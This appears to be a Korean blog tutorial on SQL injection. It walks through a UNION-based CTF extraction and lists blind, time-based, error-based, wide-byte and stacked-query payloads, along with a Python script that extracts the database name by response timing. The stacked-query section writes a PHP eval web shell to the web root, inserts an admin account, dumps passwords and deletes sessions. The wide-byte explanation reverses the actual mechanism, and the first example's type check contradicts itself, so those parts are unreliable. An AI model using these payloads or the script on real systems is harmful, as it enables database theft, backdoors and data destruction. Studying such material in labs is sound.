SQL 인젝션 취약점 분석 및 공격 기법

1. 공격 원리

사용자 입력 데이터에 대한 적절한 검증이나 필터링이 이루어지지 않을 경우, 공격자는 백엔드에서 실행되는 SQL 쿼리 구조를 악용할 수 있다. 이를 통해 조작된 SQL 문을 삽입함으로써 데이터베이스의 정보를 탈취하거나, 데이터를 변조·삭제하는 등의 비정상적인 동작을 유도할 수 있다.

성공적인 SQL 인젝션은 민감한 정보 유출, 계정 탈취, 시스템 장악 등 심각한 보안 사고로 이어질 수 있다.

2. 주요 분류 기준

  • 입력 위치 기반: GET 파라미터, POST 바디, HTTP 헤더 등을 통한 인젝션.
  • 응답 특성 기반:
    • 유형 표시 인젝션: 쿼리 결과나 오류 메시지가 직접 노출됨.
    • 무응답 인젝션(블라인드): 응답 변화 없이 참/거짓 여부 또는 지연 시간을 통해 추론.
  • 데이터 형식 기반:
    • 문자형: 입력 값이 문자열이며, 일반적으로 작은따옴표(')로 감싸야 함. 인젝션 시 종결 기호 처리 필요.
    • 정수형: 숫자 값으로 입력되며 따옴표 없이 사용. 인젝션 시 문법 폐쇄가 필요 없음.

3. 기본 SQL 문법 정리

-- 모든 열 조회
SELECT * FROM table_name;

-- 특정 열 선택
SELECT col1, col2 FROM table_name;

-- 조건 검색
SELECT * FROM users WHERE username = 'admin';

-- 정렬
SELECT * FROM items ORDER BY price DESC;

-- 결합 쿼리
SELECT a, b FROM t1 UNION SELECT c, d FROM t2;

-- 핵심 함수
VERSION()                -- MySQL 버전 반환
DATABASE()               -- 현재 DB 이름
USER()                   -- 접속 사용자 정보
@@datadir                -- 데이터 저장 경로
@@version_compile_os     -- 서버 운영체제

-- 주석 표현
-- 한 줄 주석
# 다른 형태의 한 줄 주석

-- 논리 연산 예시
SELECT * FROM users WHERE id < 4 AND username='admin';
SELECT * FROM users WHERE id > 100 OR username='admin';

4. 실습 예제: UNION 기반 인젝션

예제 1: UNION 기반 정보 추출

  1. 입력 형식 확인
    1' AND 1=1# → 오류 발생 → 문자형 가능성
    1 AND 1=1# → 정상 출력 → 실제로는 정수형 (오류 없음)
  2. 컬럼 수 확인
    -1 ORDER BY 4# → 성공
    -1 ORDER BY 5# → 실패 → 실제 컬럼 수는 4개
  3. 출력 가능한 위치 탐지
    -1 UNION SELECT 1,2,3,4# → 화면에 2와 4만 노출 → 2번과 4번 컬럼 출력 가능
  4. 현재 DB 이름 획득
    -1 UNION SELECT 1,DATABASE(),2,3# → 결과에 DB명 "ctf" 노출
  5. 테이블 목록 추출
    -1 UNION SELECT 1,TABLE_NAME,2,3 FROM information_schema.tables WHERE table_schema='ctf'# → flag, user 발견
  6. 특정 테이블의 컬럼 조회
    -1 UNION SELECT 1,COLUMN_NAME,2,3 FROM information_schema.columns WHERE table_name='flag' AND table_schema='ctf'#
  7. 최종 데이터 탈취
    -1 UNION SELECT 1,flag,id,2 FROM flag# → 플래그 값 확보

예제 2: GROUP_CONCAT 활용

컬럼이 숨겨져 있거나 다수일 때, GROUP_CONCAT() 함수를 사용해 한 번에 모든 값을 문자열로 병합하여 출력 가능:

-1 UNION SELECT 1,GROUP_CONCAT(column_name),2,3 FROM information_schema.columns WHERE table_name='flag'#

5. 블라인드 인젝션 (참/거짓 기반)

응답 본문에 직접적인 오류나 데이터가 나타나지 않지만, 조건식의 참/거짓 여부에 따라 페이지 출력의 차이가 있는 경우 사용.

단계별 추출 프로세스:

  1. 인젝션 포인트 존재 여부 확인
  2. DB 이름 길이 추정
  3. ASCII 기반 문자 단위 유추
  4. 테이블 수 및 이름 추출
  5. 컬럼 정보 탐색
  6. 실제 데이터 유출

자동화 스크립트를 통해 효율적으로 수행 가능.

6. 타임 기반 블라인드 인젝션

응답 내용 자체가 전혀 달라지지 않더라도, SLEEP() 함수를 이용해 서버 응답 지연을 유도하고 그 시간 차이로 정보를 추론한다.

예시:

1 AND IF((SELECT DATABASE()) LIKE 'a%', SLEEP(5), 0)

조건이 참일 경우 5초 지연 → 반복 테스트로 문자 하나씩 추출 가능.

자동 추출 스크립트 (요약)

import requests
import time

def check_delay(payload):
    start = time.time()
    try:
        requests.get(target_url, params={param: payload}, timeout=10)
        return time.time() - start > 4
    except:
        return True

# 예: 데이터베이스 이름 추출
result = ""
for pos in range(1, 20):
    for c in "abcdefghijklmnopqrstuvwxyz":
        payload = f"1 AND IF(ASCII(SUBSTRING(DATABASE(),{pos},1))={ord(c)},SLEEP(4),0)"
        if check_delay(payload):
            result += c
            break
print("DB Name:", result)

7. 에러 기반 인젝션

의도적으로 오류를 발생시켜 그 메시지 내에 포함된 정보를 노출시키는 방식. 주요 함수 활용:

  • AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(USER(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)
  • AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))
  • AND UPDATEXML(1, CONCAT(0x7e, USER(), 0x7e), 1)
  • AND EXP(~(SELECT * FROM (SELECT VERSION()) a))

오류 메시지를 통해 사용자, 버전, 스키마 등의 정보를 직접 확인 가능.

8. 와이드바이트 인젝션 (GBK 등)

멀티바이트 인코딩(예: GBK) 환경에서 백슬래시(\) 이스케이프를 우회하는 기법.

원리:

  • 입력된 작은따옴표 ' 는 자동으로 \' 로 이스케이프 됨.
  • 공격자가 %BF%27 대신 %BF%5C%27 을 전송하면,
  • 서버는 먼저 '\' 로 만들고, 전체가 %BF%5C%27 가 됨.
  • GBK 디코딩 시 %BF%5C 는 유효한 문자 "縗" 로 해석되고, 남은 %27 (= ') 는 이스케이프 없이 남아 SQL 문을 깨뜨림.

결과적으로 ' 가 자유롭게 사용 가능해져 인젝션이 성립.

9. 스택드 쿼리 인젝션 (Stacked Queries)

세미콜론(;) 을 이용해 여러 개의 SQL 문을 동시에 실행하는 기법. 지원 여부는 데이터베이스 드라이버 및 설정에 따라 달라짐.

예시 페이로드:

1'; SELECT username, password FROM admin; --
1'; SELECT '<?php @eval($_POST[c]);?>' INTO OUTFILE '/var/www/html/shell.php'; --
1'; INSERT INTO users VALUES ('admin2', 'pass123'); --
1'; DELETE FROM sessions; --

파일 생성, 계정 추가, 데이터 삭제 등 강력한 영향을 미칠 수 있음.

태그: SQL Injection Blind SQLi Time-based SQLi Error-based SQLi Union-based SQLi

5월 26일 06:54에 게시됨